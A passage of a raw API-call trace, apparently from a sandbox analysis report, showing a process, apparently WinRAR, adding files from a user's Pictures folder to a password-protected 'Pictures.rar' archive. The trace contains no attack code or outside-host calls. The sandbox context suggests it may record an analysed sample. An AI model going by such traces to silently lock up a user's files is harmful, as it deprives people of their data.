(in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.732] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.732] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.732] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.732] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x127d0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x127d0, lpOverlapped=0x0) returned 1 [0059.733] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0059.733] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0059.733] GetFocus () returned 0x10268 [0059.733] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d150) returned 1 [0059.734] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=395961, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x60ab9 [0059.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x60ab9 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fe80 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fed0 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf30 | out: hHeap=0x1b0000) returned 1 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf00 | out: hHeap=0x1b0000) returned 1 [0059.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bed0, Size=0x48) returned 0x26fe80 [0059.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.734] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x71, lpOverlapped=0x0) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x71) returned 0x2a0ad50 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.734] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x732fa [0059.734] CloseHandle (hObject=0x1b0) returned 1 [0059.734] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.734] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.734] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.734] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.734] FindFirstFileW (in: lpFileName="atyP90aK6HDTB.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.734] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.735] CreateFileW (lpFileName="atyP90aK6HDTB.png" (normalized: "c:\\users\\whuoxysd\\pictures\\atyp90ak6hdtb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.735] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.735] GetTickCount () returned 0xa654a7 [0059.735] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.735] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.735] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.735] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.735] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="kSdj3VO3TR7ki6gTEs.gif") returned 22 [0059.735] SetWindowTextW (hWnd=0x1024c, lpString="atyP90aK6HDTB.png") returned 1 [0059.735] GetTickCount () returned 0xa654a7 [0059.735] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.735] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.736] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.736] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.736] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x1a8)) [0059.736] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.736] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13507612220) returned 1 [0059.736] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x3daf, lpOverlapped=0x0) returned 1 [0059.736] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d3def, nNumberOfBytesToRead=0xfc251, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d3def*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.736] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fed0 [0059.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.736] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fe80 [0059.736] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf30 | out: hHeap=0x1b0000) returned 1 [0059.737] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fed0 [0059.737] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.738] GetTickCount () returned 0xa654a7 [0059.738] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13507845509) returned 1 [0059.738] GetTickCount () returned 0xa654a7 [0059.738] GetTickCount () returned 0xa654a7 [0059.738] GetTickCount () returned 0xa654a7 [0059.738] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.738] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.738] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.738] ResetEvent (hEvent=0x1a4) returned 1 [0059.739] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.739] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.739] ResetEvent (hEvent=0x1a4) returned 1 [0059.740] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.740] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.740] GetTickCount () returned 0xa654a7 [0059.740] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13508082835) returned 1 [0059.740] GetTickCount () returned 0xa654a7 [0059.740] GetTickCount () returned 0xa654a7 [0059.741] GetTickCount () returned 0xa654a7 [0059.741] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.741] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.741] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.741] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.741] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x732fa [0059.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=101, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x7335f [0059.741] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.741] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.741] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.741] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.741] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x3de0, lpOverlapped=0x0) returned 1 [0059.741] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.741] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=471802, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x732fa [0059.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x732fa [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.742] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fe80 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.742] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fed0 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf30 | out: hHeap=0x1b0000) returned 1 [0059.742] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf00, Size=0x48) returned 0x26fe80 [0059.742] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.742] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x65, lpOverlapped=0x0) returned 1 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf00 [0059.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x65) returned 0x272ee0 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x7713f [0059.742] CloseHandle (hObject=0x1b0) returned 1 [0059.742] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.742] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.742] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.742] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.742] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.742] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.742] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\whuoxysd\\pictures\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.743] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.743] GetTickCount () returned 0xa654a7 [0059.743] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.743] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.743] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.743] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.743] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="atyP90aK6HDTB.png") returned 17 [0059.743] SetWindowTextW (hWnd=0x1024c, lpString="desktop.ini") returned 1 [0059.743] GetTickCount () returned 0xa654a7 [0059.743] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.743] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.743] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.744] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.744] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x1a8)) [0059.744] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.744] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13508417689) returned 1 [0059.744] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x1f8, lpOverlapped=0x0) returned 1 [0059.744] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0238, nNumberOfBytesToRead=0xffe08, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0238*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.744] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf30 [0059.744] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.744] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fed0 [0059.744] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.744] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.745] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fe80 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.745] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.745] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf60 | out: hHeap=0x1b0000) returned 1 [0059.745] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf30, Size=0x48) returned 0x26fed0 [0059.745] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.745] GetTickCount () returned 0xa654a7 [0059.745] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13508536871) returned 1 [0059.745] GetTickCount () returned 0xa654a7 [0059.745] GetTickCount () returned 0xa654a7 [0059.745] GetTickCount () returned 0xa654a7 [0059.745] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.745] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.745] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.745] ResetEvent (hEvent=0x1a4) returned 1 [0059.745] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.825] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.825] GetTickCount () returned 0xa65505 [0059.825] GetLastError () returned 0x0 [0059.825] SetLastError (dwErrCode=0x0) [0059.825] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0059.825] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0059.825] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.825] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.826] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13516604803) returned 1 [0059.826] GetTickCount () returned 0xa65505 [0059.826] GetTickCount () returned 0xa65505 [0059.826] GetTickCount () returned 0xa65505 [0059.826] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8bf30) returned 0x0 [0059.826] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8bf30, hwnd=0x10244, tbpFlags=2) returned 0x0 [0059.826] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8bf30, hwnd=0x10244, ullCompleted=0x76aab, ullTotal=0x940593) returned 0x0 [0059.826] TaskbarList:IUnknown:Release (This=0x3b8bf30) returned 0x0 [0059.826] GetLastError () returned 0x36b7 [0059.826] SetLastError (dwErrCode=0x36b7) [0059.826] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0059.826] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0059.826] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0059.826] SetWindowTextW (hWnd=0x10264, lpString=" 5%") returned 1 [0059.826] GetLastError () returned 0x0 [0059.827] SetLastError (dwErrCode=0x0) [0059.827] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0059.827] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 76%") returned 5 [0059.827] SetWindowTextW (hWnd=0x10260, lpString=" 100%") returned 1 [0059.827] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x5, lParam=0x0) returned 0x2 [0059.827] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.827] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.827] GetFocus () returned 0x10268 [0059.827] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.827] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.827] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.827] GetFocus () returned 0x10268 [0059.827] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.827] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.828] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.828] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.828] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x7713f [0059.828] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: 